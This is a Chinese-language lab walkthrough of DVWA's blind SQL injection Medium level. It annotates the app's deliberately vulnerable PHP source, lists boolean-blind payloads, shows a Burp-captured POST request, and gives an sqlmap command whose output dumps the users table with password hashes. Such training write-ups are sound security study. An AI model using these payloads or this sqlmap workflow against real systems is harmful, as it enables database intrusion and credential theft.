DVWA靶场通关笔记-SQL盲注(SQL Injection Blind Medium级别)

发布于:2025-07-09 ⋅ 阅读:(19) ⋅ 点赞:(0)

目录

一、SQL盲注

二、代码审计(Medium级别)

1、index.php

2、Medium.php

3、渗透思路

(1)SQL安全问题分析

(2)SQL注入渗透思路

三、渗透准备

1、配置security为Medium级别。

2、配置字符集一致

四、渗透实战

 1、判断注入类型

2、sqlmap渗透测试

(1)bp抓包

(2)sqlmap渗透


DVWA(Damn Vulnerable Web Application)中的 SQL Injection(Blind)布尔盲注关卡是用于练习和演示 SQL 盲注攻击的不同场景,不同安全等级存在不同的安全风险和绕过方法,本小节对中等级别的关卡进行渗透实战。

一、SQL盲注

SQL 盲注是 SQL 注入攻击的一种特殊形式,当应用程序执行 SQL 查询后不返回具体数据,但会通过页面显示状态差异(如返回内容是否存在、响应时间长短)间接暴露一些信息。攻击者无法直接看到查询结果,需通过构造包含逻辑条件(如AND/OR)或时间延迟(如sleep()函数)的SQL语句,逐次枚举来推断数据库内容。以布尔盲注为例,手工渗透步骤如下所示。

步骤 描述 示例
验证注入点 构造特殊输入,根据返回结果判断是否存在注入点

输入:id=1 or 1=1#,预期返回成功信息;

输入:id=1 or 1=2#,预期返回失败信息

枚举数据库名长度 通过比较数据库名长度来确定具体长度 id=1 AND LENGTH(DATABASE())=8 --(假设数据库名长度为 8)
枚举数据库名 逐字符猜测数据库名

id=1 AND SUBSTRING(DATABASE(),1,1)='d' #

(猜测数据库名第一个字符为 'd')

枚举表名 判断指定表名是否存在 id=1 AND EXISTS(SELECT * FROM information_schema.tables WHERE table_name='users') #(判断是否存在名为 'users' 的表)
枚举列名 判断指定列名是否存在

id=1 AND EXISTS(SELECT username FROM users) #

(判断 'users' 表中是否存在 'username' 列)

枚举数据 逐字符猜测元素的值

id=1 AND SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1)='a' #

(猜测 'users' 表中第一条记录的 'username' 列第一个字符为 'a')

二、代码审计(Medium级别)

1、index.php

进入DVWA靶场源目录,找到index.php源码。

这段代码实现了这段 PHP 代码是 Damn Vulnerable Web Application (DVWA) 中 SQL盲注演示页面的主控制器,根据用户设置的安全级别(低 / 中 / 高 / 安全)加载不同级别安全成都程度的代码,通过表单让用户输入或选择用户 ID,动态生成页面并展示查询结果,同时检测 PHP 不安全配置并提供 SQL 注入学习资源链接,用于演示不同防护等级下的盲注攻击场景及防御方式。

经过注释后的详细代码如下所示。

<?php
// 定义网站根目录路径常量,用于后续文件引用
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
// 引入DVWA页面基础功能库
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

// 启动页面,验证用户是否已认证并初始化PHPIDS(入侵检测系统)
dvwaPageStartup( array( 'authenticated', 'phpids' ) );

// 创建新页面实例
$page = dvwaPageNewGrab();
// 设置页面标题
$page[ 'title' ]   = 'Vulnerability: SQL Injection (Blind)' . $page[ 'title_separator' ].$page[ 'title' ];
// 设置页面ID,用于导航和标识
$page[ 'page_id' ] = 'sqli_blind';
// 添加帮助按钮和源代码按钮
$page[ 'help_button' ]   = 'sqli_blind';
$page[ 'source_button' ] = 'sqli_blind';

// 连接数据库
dvwaDatabaseConnect();

// 设置HTTP请求方法(默认为GET)
$method            = 'GET';
// 初始化安全风险级别对应的源文件
$vulnerabilityFile = '';

// 根据安全级别Cookie值选择不同级别的实现文件
switch( $_COOKIE[ 'security' ] ) {
	case 'low':
		// 低安全级别:存在明显SQL注入安全风险
		$vulnerabilityFile = 'low.php';
		break;
	case 'medium':
		// 中安全级别:部分防御措施,使用POST方法和下拉菜单
		$vulnerabilityFile = 'medium.php';
		$method = 'POST';
		break;
	case 'high':
		// 高安全级别:增强防御,但仍可能存在安全风险
		$vulnerabilityFile = 'high.php';
		break;
	default:
		// 安全模式:使用预处理语句,理论上无SQL注入风险
		$vulnerabilityFile = 'impossible.php';
		break;
}

// 引入选定的实现文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/sqli_blind/source/{$vulnerabilityFile}";

// 检查PHP配置中的安全风险
$WarningHtml = '';
// 检测Magic Quotes是否启用(已弃用的安全机制)
if( ini_get( 'magic_quotes_gpc' ) == true ) {
	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Magic Quotes</em>\" is enabled.</div>";
}
// 检测Safe Mode是否启用(已弃用的安全机制)
if( ini_get( 'safe_mode' ) == true ) {
	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Safe mode</em>\" is enabled.</div>";
}

// 构建页面主体内容
$page[ 'body' ] .= "
<div class=\"body_padded\">
	<h1>Vulnerability: SQL Injection (Blind)</h1>

	{$WarningHtml}

	<div class=\"vulnerable_code_area\">";

// 根据不同安全级别显示不同的用户交互界面
if( $vulnerabilityFile == 'high.php' ) {
	// 高级别安全:通过JavaScript弹窗设置用户ID
	$page[ 'body' ] .= "Click <a href=\"#\" onclick=\"javascript:popUp('cookie-input.php');return false;\">here to change your ID</a>.";
}
else {
	// 低、中级别安全:显示表单让用户输入ID
	$page[ 'body' ] .= "
		<form action=\"#\" method=\"{$method}\">
			<p>
				User ID:";
				
	// 中级别安全:使用下拉菜单限制用户选择范围
	if( $vulnerabilityFile == 'medium.php' ) {
		$page[ 'body' ] .= "\n				<select name=\"id\">";
		// 查询用户数量用于生成下拉选项
		$query  = "SELECT COUNT(*) FROM users;";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
		$num    = mysqli_fetch_row( $result )[0];
		$i      = 0;
		// 动态生成下拉选项(1到用户总数)
		while( $i < $num ) { $i++; $page[ 'body' ] .= "<option value=\"{$i}\">{$i}</option>"; }
		$page[ 'body' ] .= "</select>";
	}
	else
		// 低级别安全:允许用户自由输入
		$page[ 'body' ] .= "\n				<input type=\"text\" size=\"15\" name=\"id\">";

	$page[ 'body' ] .= "\n				<input type=\"submit\" name=\"Submit\" value=\"Submit\">
			</p>\n";

	// 安全模式:添加CSRF防护令牌
	if( $vulnerabilityFile == 'impossible.php' )
		$page[ 'body' ] .= "			" . tokenField();

	$page[ 'body' ] .= "
		</form>";
}

// 显示查询结果(由引入对应级别的文件生成)
$page[ 'body' ] .= "
		{$html}
	</div>

	<h2>More Information</h2>
	<ul>
		// 提供SQL注入相关的参考链接
		<li>" . dvwaExternalLinkUrlGet( 'http://www.securiteam.com/securityreviews/5DP0N1P76E.html' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Blind_SQL_Injection' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://bobby-tables.com/' ) . "</li>
	</ul>
</div>\n";

// 输出最终HTML页面
dvwaHtmlEcho( $page );

?>

2、Medium.php

进入DVWA靶场源目录,找到Medium.php源码。

打开源码low.php,分析可知这段代码实现了用户 ID 验证功能,如下所示。 

对比low关卡,源码如下所示。

代码的功能如下所示。

  • 检查是否通过 POST 方法提交了表单。
  • POST 参数中获取用户输入的 ID,并使用mysqli_real_escape_string函数进行转义处理。
  • 构建 SQL 查询语句,将转义后的用户输入 ID 拼接到 SQL 中,查询users表中是否存在该用户 ID
  • 执行 SQL 查询,并获取查询结果的行数。
  • 根据查询结果行数判断用户是否存在,并返回相应的反馈信息。

不过代码具有SQL注入风险,具体如下所示。

  • 虽然使用了mysqli_real_escape_string函数对用户输入进行转义处理,但这种转义并非万无一失。如果攻击者能够绕过转义机制,仍然可以构造恶意的 SQL 语句。
  • 代码中没有对用户输入进行严格的格式验证,例如限制输入必须为数字等。这使得攻击者有可能输入非数字字符,从而导致 SQL 注入安全风险。

详细注释后的代码如下所示。

<?php

// 检查是否通过POST方法提交了表单
if( isset( $_POST[ 'Submit' ]  ) ) {
    // 从POST参数中获取用户输入的ID
    $id = $_POST[ 'id' ];
    // 使用mysqli_real_escape_string函数对用户输入的ID进行转义处理
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR))? "" : ""));

    // 构建SQL查询语句,将转义后的用户输入ID拼接到SQL中
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    // 执行SQL查询,移除了'or die'以隐藏数据库错误信息
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid );

    // 获取查询结果的行数,使用@符号抑制可能出现的错误信息
    $num = @mysqli_num_rows( $result );

    // 根据查询结果行数判断用户是否存在
    if( $num > 0 ) {
        // 用户存在时的反馈信息
        $html .= '<pre>User ID exists in the database.</pre>';
    }
    else {
        // 用户不存在时的反馈信息
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }

    // 关闭数据库连接(此处代码被注释掉,实际未执行关闭操作)
    //mysql_close();
}

?>

3、渗透思路

(1)SQL安全问题分析

本关卡具有布尔注入的可能性,原因如下所示。

  • 输入验证不严格:
    • 虽然使用了mysqli_real_escape_string函数对用户输入进行转义,但该函数并非绝对安全。如果攻击者能够找到绕过转义的方法,就可以构造恶意的 SQL 语句。
    • 代码没有对用户输入进行严格的格式验证,例如限制输入必须为数字。这使得攻击者可以输入非数字字符,从而为构造布尔注入语句提供了可能。
  • 基于布尔结果的反馈:
    • 代码根据查询结果的行数来返回不同的反馈信息,即如果查询到记录,返回 User ID exists in the database.”;如果未查询到记录,返回 User ID is MISSING from the database.”。
    • 攻击者可以利用这种布尔结果的反馈来判断注入语句是否成功。例如,构造一个条件语句,使得只有在满足特定条件时才会查询到记录,从而根据返回的反馈信息来推断条件是否成立。

(2)SQL注入渗透思路

原始SQL语句:SELECT first_name, last_name FROM users WHERE user_id = $id;

注入语句:输入1 OR 1=1#会导致 SQL 变为如下内容。

SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1#;

由于1=1恒为真,且#注释掉后面的单引号,该查询会返回所有用户记录,是可以查询到记录的情况。

三、渗透准备

1、配置security为Medium级别。

进入到SQL Injection(Blind)关卡Medium页面,完整URL地址具体如下所示。

http://192.168.59.1/dvwa/vulnerabilities/sqli/

2、配置字符集一致

参考SQL注入报错“Illegal mix of collations for operation ‘UNION‘”解决办法-CSDN博客

为避免使用联合注入法时报错“Illegal mix of collations for operation 'UNION'”,修改dvwa数据库user表的first_name与last_name字符集,如下图所示。

修改dvwa数据库user表的password字符集,如下图所示。

四、渗透实战

 1、判断注入类型

进入到SQL盲注medium关卡,相对于low关卡,不可以是自选输入,而只能是1-5,如下所示。

开启bp拦截,选择参数1,显示“User ID exists in the database.”,如下所示。

由于报文是POST方式传递,为方便渗透,使用burpsuite进行后续渗透,使用bp抓到此报文,发送到repeater。

 

将报文发送到repeater,具体如下所示。

输入1 or 1=1#,没有显示所有列表,而是显示“User ID exists in the database.”。

输入不存在的id,-1,显示“User ID is MISSING from the database”,具体如下所示。

输入-1',这种会导致数据库报错的注入语句,仍然提示“User ID is MISSING from the database”,具体如下所示。

说明这是布尔型注入,正确执行显示“User ID exists in the database.”,错误时显示“User ID is MISSING from the database”,这与源码分析的结果一致。

2、sqlmap渗透测试

(1)bp抓包

由于DVWA需要登录后才能使用,故而不可以直接是用sqlmap直接渗透,bp抓包,找到上一步渗透的报文,右键copy to file,具体如下所示。

将报文另存为sql-medium.txt,具体如下所示。

打开sql-medium.txt,修改为如下内容,注意在id赋值后面加上*,指明注入点的位置。

POST /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/dvwa/vulnerabilities/sqli_blind/
Cookie: security=medium; PHPSESSID=tssqfshe2838kcg5nbkf4464u3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

id=1*#&Submit=Submit

(2)sqlmap渗透

注入命令如下所示,注意增加了参数not-string指明查询错误时的关键字。

sqlmap -r sql-medium.txt --current-db --batch --dump --technique=B --not-string="MISSING"

渗透结果如下所示,成功获取到user表的所有内容。

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 32 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2990=2990#&Submit=Submit
--- 
[09:46:25] [INFO] testing MySQL
[09:46:25] [INFO] confirming MySQL
[09:46:26] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.0
[09:46:26] [INFO] fetching current database
[09:46:26] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:46:26] [INFO] retrieved: dvwa
current database: 'dvwa'
[09:46:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[09:46:26] [INFO] fetching current database
[09:46:26] [INFO] fetching tables for database: 'dvwa'
[09:46:26] [INFO] fetching number of tables for database 'dvwa'
[09:46:26] [INFO] retrieved: 2
[09:46:28] [INFO] retrieved: guestbook
[09:46:30] [INFO] retrieved: users
[09:46:31] [INFO] fetching columns for table 'users' in database 'dvwa'
[09:46:31] [INFO] retrieved: 8
[09:46:31] [INFO] retrieved: user_id
[09:46:36] [INFO] retrieved: first_name
[09:46:38] [INFO] retrieved: last_name
[09:46:39] [INFO] retrieved: user
[09:46:40] [INFO] retrieved: password
[09:46:41] [INFO] retrieved: avatar
[09:46:43] [INFO] retrieved: last_login
[09:46:45] [INFO] retrieved: failed_login
[09:46:48] [INFO] fetching entries for table 'users' in database 'dvwa'
Database: dvwa                                                                                                                                                                                                                            
Table: users
[5 entries]
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | user    | avatar                      | password                                    | last_name | first_name | last_login          | failed_login |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 3       | 1337    | /hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2025-05-15 09:56:46 | 0            |
| 1       | admin   | /hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2025-05-15 09:56:46 | 0            |
| 2       | gordonb | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2025-05-15 09:56:46 | 0            |
| 4       | pablo   | /hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2025-05-15 09:56:46 | 0            |
| 5       | smithy  | /hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2025-05-15 09:56:46 | 0            |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+

网站公告

今日签到

点亮在社区的每一天
去签到